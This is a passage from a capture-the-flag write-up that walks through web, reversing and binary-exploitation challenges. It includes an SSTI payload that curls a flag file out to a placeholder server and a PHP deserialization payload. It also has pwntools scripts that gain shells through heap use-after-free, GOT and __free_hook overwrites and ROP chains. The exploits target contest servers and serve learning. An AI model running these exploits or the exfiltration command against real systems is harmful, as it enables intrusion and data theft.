# )
# -> CREATE TABLE users (username, password)
print(get_string("SELECT group_concat(password) FROM users"))
# -> ictf{n1c3_fil73r_byp@ss_7130676d}
Cookie Stream
The source code contains several accounts and SHA512 hashed passwords. Some hashes can be cracked using CrackStation, excluding the admin password. Logging in as admin reveals the flag.
Sessions use AES-CTR to encrypt the username after padding, prepending the nonce to the ciphertext as the session. The nonce initializes AES-CTR, decrypting and unpadding the username.
AES-CTR encryption: , decryption follows the same steps.
The solution uses known plaintext and ciphertext to find , then XORs it with the target (padded admin
) to get the required ciphertext. Prepend the nonce to get the target session.
Script:
from Crypto.Util.Padding import pad
# ImaginaryCTFUser idk
# Eth007 supersecure
# just_a_normal_user password
# firepwny pwned
def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
username = b"firepwny"
token = bytes.fromhex("2023f20686ddab50dd0491b4861ad8bfaf5713f665fab499")
nonce, data = token[:8], token[8:]
key = xor(data, pad(username, 16))
newdata = xor(key, pad(b"admin", 16))
newtoken = nonce + newdata
print(newtoken.hex())
NumHead
This challenge is simple except for the long code, making it hard to trace. The goal is to get 1000 dollars to buy the flag via API.
First, get the token:
curl https://numhead.chal.imaginaryctf.org/api/user/new-token -X POST -H "Authorization: 0nlyL33tHax0rsAll0w3d"
Notice the strange /api/user/nothing-here
. Sending different numbers of headers to it gives 100 dollars each time. Manually repeat ten times, then buy the flag.
curl -H "Authorization: d6eeba22e8404e5d80fe390931f1957e" https://numhead.chal.imaginaryctf.org/api/user/nothing-here -X POST -H "a: 1" # Add some header and repeat
curl -H "Authorization: d6eeba22e8404e5d80fe390931f1957e" https://numhead.chal.imaginaryctf.org/api/admin/flag # Get flag
Destructoid
Viewing the source reveals: ecruos? ym dnif uoy naC
, which reversed is Can you find my ?source
. Adding ?source
to the URL reveals the source code.
Initially, I misread it as
Can you find my source?
, so I didn't realize the source code was accessible...
<?php
$printflag = false;
class X {
function __construct($cleanup) {
if ($cleanup === "flag") {
die("NO!\n");
}
$this->cleanup = $cleanup;
}
function __toString() {
return $this->cleanup;
}
function __destruct() {
global $printflag;
if ($this->cleanup !== "flag" && $this->cleanup !== "noflag") {
die("No!\n");
}
include $this->cleanup . ".php";
if ($printflag) {
echo $FLAG . "\n";
}
}
}
class Y {
function __wakeup() {
echo $this->secret . "\n";
}
function __toString() {
global $printflag;
$printflag = true;
return (new X($this->secret))->cleanup;
}
}
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
echo "ecruos? ym dnif uoy naC\n";
if (isset($_SERVER['HTTP_X_PAYLOAD'])) {
unserialize(base64_decode($_SERVER['HTTP_X_PAYLOAD']));
}
The goal is to bypass the check and get the flag using deserialization. My payload generation:
<?php
class X {}
class Y {}
$obj = new Y;
$obj->secret = new Y;
$obj->secret->secret = new X;
$obj->secret->secret->cleanup = "flag";
echo base64_encode(serialize($obj));
I discovered __destruct
continues executing after die
, as shown by the output:
ecruos? ym dnif uoy naC
flag
No!
ictf{d3s3r14l1z4t10n_4nd_d3struct10n}
Another simpler payload uses multiple objects:
<?php
$y = new Y("flag");
$x = New X("flag");
echo serialize([$y, new Y($y), $x]);
Sinking Calculator
This challenge is another Jinja2 SSTI without additional blacklist but with a length limit of 79 characters. The payload is wrapped with {{
and }}
, saving characters. Non-0123456789-
characters are removed from the output. request.args
, request.headers
, and request.cookies
are cleared.
My method uses request.data
as the HTTP body, which Flask accepts even for GET requests.
Complete payload:
curl "https://sinking-calculator.chal.imaginaryctf.org/calc?query=request.application.__globals__.__builtins__%5B%27eval%27%5D%28request.data%29" -X GET --data-raw "__import__('os').system('curl http://YOUR_SERVER -F f=@flag')"
The author's solution:
1.__class__(g.pop.__globals__.__builtins__.open("flag","rb").read().hex(),16)
I learned about Flask's flask.g
, a useful feature. Another way to access __globals__
is url_for.__globals__
.
Password Checker
This challenge is an obfuscated JS password checker. After removing some obfuscation, the key part is:
for (var c = y, n = '3|2|0|1|4'.split('|'), C = 0; ; ) {
switch (n[C++]) {
case h[45]:
var u = 0
continue
case h[46]:
for (var v = 0; v < b.length; v++) {
;(A += b.charCodeAt(v)), (B ^= b.charCodeAt(v)), (u = (u << 5) - u + b.charCodeAt(v))
}
continue
case h[47]:
var B = 0
continue
case h[48]:
var A = 0
continue
case h[49]:
console.log(A, B, u)
!/[^ZYPH3NAFUR1GT_BMKLE.0]/.test(b) &&
2024 == A &&
126 == B &&
-685590366 == u &&
1 == b.charCodeAt(0) - b.charCodeAt(1) &&
277 == Math.floor((b.charCodeAt(1) * b.charCodeAt(2) * b.charCodeAt(3)) / 1846) &&
114 == b.charCodeAt(4) + b.charCodeAt(5) - b.charCodeAt(6) + b.charCodeAt(7) &&
3249 == Math.floor(((b.charCodeAt(8) * b.charCodeAt(9)) / b.charCodeAt(10)) * b.charCodeAt(11)) &&
1 == Math.floor((b.charCodeAt(13) / b.charCodeAt(12) / b.charCodeAt(14)) * b.charCodeAt(15)) &&
b.charCodeAt(16) &&
b.charCodeAt(18) == 'ZYPH3NAFUR1GT_BMKLE.0'.length << 2 &&
b.charCodeAt(6) == b.charCodeAt(17) &&
46 == Math.floor((b.charCodeAt(19) * b.charCodeAt(20)) / b.charCodeAt(21)) &&
116 == b.charCodeAt(22) + b.charCodeAt(23) - b.charCodeAt(24) &&
138 == b.charCodeAt(25) + b.charCodeAt(26) + b.charCodeAt(27) &&
alert(c(205))
continue
}
break
}
The first thought is to use z3 to solve it, but z3 struggles with the large search space, so I couldn't solve it during the competition. Later, I found this writeup explaining the need to brute-force part of the password, then use z3 to find the rest.
from z3 import *
flag = [BitVec(f"f_{i}", 32) for i in range(28)]
# sol = Solver()
set_param("parallel.enable", True)
set_param("parallel.threads.max", 12)
sol = SolverFor("QF_BV") # It is said to be faster for fixed sized bitvectors
A = 0
B = 0
u = 0
for c in flag:
sol.add(Or([c == x for x in b"ZYPH3NAFUR1GT_BMKLE.0"]))
A += c
B ^= c
# u = (u << 5) - u + c
u = 31 * u + c
def floor_div(top, bottom, res):
# floor(top / bottom) == res
sol.add(top >= bottom * res)
sol.add(top < bottom * res + bottom)
sol.add(A == 2024)
sol.add(B == 126)
sol.add(u == BitVecVal(-685590366, 32))
sol.add(1 == flag[0] - flag[1])
# sol.add(277 == flag[1] * flag[2] * flag[3] / 1846)
floor_div(flag[1] * flag[2] * flag[3], 1846, 277)
sol.add(114 == flag[4] + flag[5] - flag[6] + flag[7])
# sol.add(3249 == ((flag[8] * flag[9]) / flag[10]) * flag[11])
floor_div(flag[8] * flag[9] * flag[11], flag[10], 3249)
# sol.add(1 == flag[13] / flag[12] / flag[14] * flag[15])
floor_div(flag[13] * flag[15], flag[12] * flag[14], 1)
sol.add(flag[18] == len("ZYPH3NAFUR1GT_BMKLE.0") << 2)
sol.add(flag[6] == flag[17])
# sol.add(46 == flag[19] * flag[20] / flag[21])
floor_div(flag[19] * flag[20], flag[21], 46)
sol.add(116 == flag[22] + flag[23] - flag[24])
sol.add(138 == flag[25] + flag[26] + flag[27])
# Some burteforcing to make the search space smaller: https://wrecktheline.com/writeups/imaginary-2021/
sol.add(flag[27] == ord("."))
sol.add(flag[26] == ord("."))
sol.add(flag[25] == ord("."))
sol.add(flag[24] == ord("3"))
sol.add(flag[23] == ord("R"))
sol.add(flag[22] == ord("U"))
sol.add(flag[21] == ord("T"))
sol.add(flag[20] == ord("R"))
sol.add(flag[19] == ord("0"))
sol.add(flag[18] == ord("T"))
sol.add(flag[17] == ord("_"))
sol.add(flag[0] == ord("Z"))
sol.add(flag[1] == ord("Y"))
sol.add(flag[2] == ord("P"))
sol.add(flag[3] == ord("H"))
sol.add(flag[4] == ord("3"))
sol.add(flag[5] == ord("N"))
sol.add(flag[6] == ord("_"))
sol.add(flag[7] == ord("P"))
print("solving...")
assert sol.check() == sat
while sol.check() == sat:
m = sol.model()
ans = bytes([m[x].as_long() for x in flag])
print(ans)
sol.add(Or([a != b for a, b in zip(ans, flag)]))
Pwn
stackoverflow
Nothing much to say, just a buffer overflow to change a local variable, giving you a shell.
Input base64:
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWZ0Y2kAAAAACg==
Fake Canary
This challenge has a static canary, making it easy to bypass. The goal is to return to an existing backdoor function. The tricky part is that returning to the function works locally, but the remote version (Ubuntu 18) requires a 16-byte aligned stack address. I returned to the backdoor function, skipping the function prologue.
Input base64:
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYe++rd4AAAAAKQdAAAAAAAAp
B0AAAAAAACkHQAAAAAAACg==
The First Fit
Source code:
#include <stdio.h>
#include <stdlib.h>
int main()
{
int choice, choice2;
char *a = malloc(128);
char *b;
setvbuf(stdout,NULL,2,0);
setvbuf(stdin,NULL,2,0);
while (1) {
printf("a is at %p\n", a);
printf("b is at %p\n", b);
printf("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ");
scanf("%d", &choice);
switch(choice) {
case 1:
printf("What do I malloc?\n(1) a\n(2) b\n>> ");
scanf("%d", &choice2);
if (choice2 == 1)
a = malloc(128);
else if (choice2 == 2)
b = malloc(128);
break;
case 2:
printf("What do I free?\n(1) a\n(2) b\n>> ");
scanf("%d", &choice2);
if (choice2 == 1)
free(a);
else if (choice2 == 2)
free(b);
break;
case 3: printf(">> "); scanf("%8s", a); break;
case 4: system((char*)b); break;
default: return -1;
}
}
return 0;
}
You can malloc
and free
a
and b
arbitrarily, but can only write to a
and system(b)
.
The key concept is UAF and malloc using the first available freed chunk (first fit).
- free a
- malloc b (now a==b)
- write "/bin/sh" to a
- system b
String Editor 1
This challenge leaks &system
at the start, revealing libc. It has a fixed heap buffer, allowing arbitrary index char writes, leaking buffer+idx
address. When idx == 15
, it frees and mallocs the buffer, reinitializing the string.
Using libc and buffer address, calculate the offset to __free_hook
, write system
there, then write /bin/sh\0
to the buffer and free it to get a shell.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
# io = process("./string_editor_1")
io = remote("chal.imaginaryctf.org", 42004)
def edit(idx, x):
io.sendlineafter(b"What character would you like to edit?", str(idx))
io.sendlineafter(b"What character should be in that index?", chr(x))
def recvdebug():
io.recvuntil(b"DEBUG: ")
return int(io.recvlineS().strip(), 16)
def writebytes(idx, b: bytes):
for i in range(len(b)):
edit(idx + i, b[i])
io.recvuntil(b"But first, a word from our sponsors: ")
system = int(io.recvlineS().strip(), 16)
libc_base = system - 0x55410
print("libc_base", hex(libc_base))
__free_hook = libc_base + 0x1EEB28
print(hex(__free_hook))
edit(0, 0x20)
ptr = recvdebug()
print(hex(ptr))
writebytes(__free_hook - ptr, p64(system))
writebytes(0, b"/bin/sh\0")
# free
io.sendlineafter(b"What character would you like to edit?", "15")
io.interactive()
linonophobia
This challenge overwrites GOT printf
with puts
, then does:
char buf[264];
read(0, buf, 0x200);
printf(buf); // this is actually puts
read(0, buf, 0x200);
The challenge has a buffer overflow, but with NX and Canary. Use the first printf(buf)
to leak the canary. Then use ROP to call plt puts
, outputting any GOT function (e.g., read
) to get libc, then return to main.
The second ROP is a ret2libc, using a one gadget for simplicity.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
pop_rdi = 0x400873
puts_plt = 0x4005C0
read_got = 0x601028
main = 0x4006B7
# io = process("./linonophobia")
io = remote("chal.imaginaryctf.org", 42006)
io.sendline("a" * 260 + "----")
io.recvuntil(b"----")
canary = u64(io.recv(8)) & ~0xFF
print(hex(canary))
io.sendline(
b"a" * 264 + p64(canary) + p64(0) + flat([pop_rdi, read_got, puts_plt, main])
)
io.recv(1)
libc_base = int.from_bytes(io.recvline()[:-1], byteorder="little") - 0x111130
print(hex(libc_base))
pop_r12_r13_r14_r15 = 0x40086C
gadget = libc_base + 0xE6C7E # execve("/bin/sh", r15, r12)
io.sendline("a" * 260 + "----")
io.recvuntil(b"----")
canary = u64(io.recv(8)) & ~0xFF
print(hex(canary))
io.sendline(
b"a" * 264 + p64(canary) + p64(0) + flat([pop_r12_r13_r14_r15, 0, 0, 0, 0, gadget])
)
io.interactive()
Speedrun
This challenge generates the following program:
#include <stdio.h>
int main(void) {
char inp[RANDOM_VALUE_BETWEEN_20_AND_1000];
setvbuf(stdout,NULL,2,0);
setvbuf(stdin,NULL,2,0);
gets(inp);
puts("Thanks!");
}
Compiled without canary or PIE, it base64 encodes the binary and gives it to you, requiring exploitation within 10 seconds.
There's an overflow, but the offset is dynamic. I read the binary to find the instruction index, then read the offset.
For pwn, I used puts to output GOT entries for libc, then ret2libc.
Local exploit:
import sys
from pwn import *
def exploit(io, fname):
context.arch = "amd64"
with open(fname, "rb") as f:
bin = f.read()
i = bin.index(b"\x48\x81\xec") + 3 # sub rsp, sz
sz = int.from_bytes(bin[i : i + 4], byteorder="little")
print(hex(sz))
elf = ELF(fname)
rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
puts_plt = elf.plt["puts"]
main = elf.sym["main"]
io.sendline(b"a" * (sz + 8) + flat([pop_rdi, elf.got["puts"], puts_plt, main]))
io.recvuntil(b"Thanks!\n")
puts = int.from_bytes(io.recv(6), byteorder="little")
libc_base = puts - 0x071910
print(hex(libc_base))
libc = ELF("./libc6_2.28-10_amd64.so")
libc.address = libc_base
binsh = next(libc.search(b"/bin/sh"))
libc_rop = ROP(libc)
libc_rop.call("execve", [binsh, 0, 0])
print(libc_rop.dump())
chain = libc_rop.chain()
io.sendline(b"a" * (sz + 8) + chain)
io.interactive()
if __name__ == "__main__":
if len(sys.argv) < 2:
exit(1)
io = process(sys.argv[1])
exploit(io, sys.argv[1])
Remote exploit:
from pwn import remote
from base64 import b64decode
from exploit import exploit
io = remote("chal.imaginaryctf.org", 42020)
io.recvuntil(b"---------------------------BEGIN DATA---------------------------")
footer = b"----------------------------END DATA----------------------------"
data = io.recvuntil(footer)[: -len(footer)]
with open("binary", "wb") as f:
f.write(b64decode(data))
print("done writing binary")
exploit(io, "binary")
String Editor 2
This challenge has a bss string, allowing arbitrary char edits like String Editor 1, but limited to index <= 15
and no initial address leak. Protection includes NX.
When index == 15
, a menu allows:
puts(target)
strcpy(target, "***************")
exit(0)
The key is index
being signed, allowing writing to GOT from bss. I first overwrote GOT strcpy
with printf
, then used strcpy(target, "***************")
for format string exploit to leak libc.
With libc, I overwrote strcpy
with system
, then changed the string to /bin/sh\0
for a shell.
I used
strcpy
instead ofputs
becauseputs
is used elsewhere, causing crashes, whilestrcpy
is only used here.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
# io = process("./string_editor_2")
io = remote("chal.imaginaryctf.org", 42005)
def edit(idx, x):
io.sendlineafter(b"What character would you like to edit?", str(idx))
io.sendlineafter(b"What character should be in that index?", chr(x))
def writebytes(idx, b: bytes):
for i in range(len(b)):
edit(idx + i, b[i])
target = 0x601080
strcpy_got = 0x601018
printf_plt = 0x400600
writebytes(strcpy_got - target, p64(printf_plt))
writebytes(0, b"%13$p")
io.sendlineafter(b"What character would you like to edit?", "15")
io.sendlineafter(b"3. Exit", "2")
io.recvuntil(b"0x")
libc_base = int(io.recv(12), 16) - 0x270B3
print(hex(libc_base))
system = libc_base + 0x55410
writebytes(strcpy_got - target, p64(system))
writebytes(0, b"/bin/sh\0")
io.sendlineafter(b"What character would you like to edit?", "15")
io.sendlineafter(b"3. Exit", "2")
io.interactive()
Memory pile
The challenge has a bss array for pointers, allowing arbitrary index malloc(0x20)
, index-freeing addresses, and writing to those addresses (no overflow).
The key vulnerability is not setting array[index]
to 0
after free, allowing UAF. Write to tcache next
pointer to control malloc
return value, write system
to __free_hook
, then free an address with /bin/sh
.
PS: libc is leaked at the start, with protections including Canary, NX, PIE, and Full RelRO.
from pwn import *
from rpyc import lib
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
# io = process('./memory_pile')
# io = gdb.debug("./memory_pile", "c")
io = remote("chal.imaginaryctf.org", 42007)
io.recvuntil(b"I'll even give you a present, if you manage to unwrap it...\n")
printf = int(io.recvlineS().strip(), 16)
libc_base = printf - 0x64F00
print(hex(libc_base))
__free_hook = libc_base + 0x3ED8E8
system = libc_base + 0x4F4E0
def acquire(i):
io.sendlineafter(b"Choose wisely > ", "1")
io.sendlineafter(b"With great power comes great responsibility > ", str(i))
def release(i):
io.sendlineafter(b"Choose wisely > ", "2")
io.sendlineafter(b"With great power comes great responsibility > ", str(i))
def fill(i, b):
io.sendlineafter(b"Choose wisely > ", "3")
io.sendlineafter(b"With great power comes great responsibility > ", str(i))
io.sendlineafter(b"Let me have it, boss > ", b)
acquire(0)
acquire(1)
release(1)
release(0)
# tcache: 0 -> 1
fill(0, p64(__free_hook)) # write next pointer
acquire(2) # put 0 to 2
acquire(0) # now 0 is addr
fill(0, p64(system)) # write system to __free_hook
fill(2, "/bin/sh")
release(2) # free("/bin/sh")
io.interactive()
*notweb
This challenge has a simple C web server, forking for each request and entering a respond
function. It strips GET /
and HTTP
from the request, copying the path to a stack buffer. The check_len
function checks if the path length is <= 99
.
The vulnerability is check_len
using uint8, but memcpy
length is int, allowing buffer overflow with payload length mod 256 <= 99.
The buffer overflow crashes the program by overwriting a stack heap address, which is freed before returning, so it must be zeroed.
The program has no protections, not even NX, but the stack address is unknown. A special gadget jmp rsp
allows writing jmp rsp + shellcode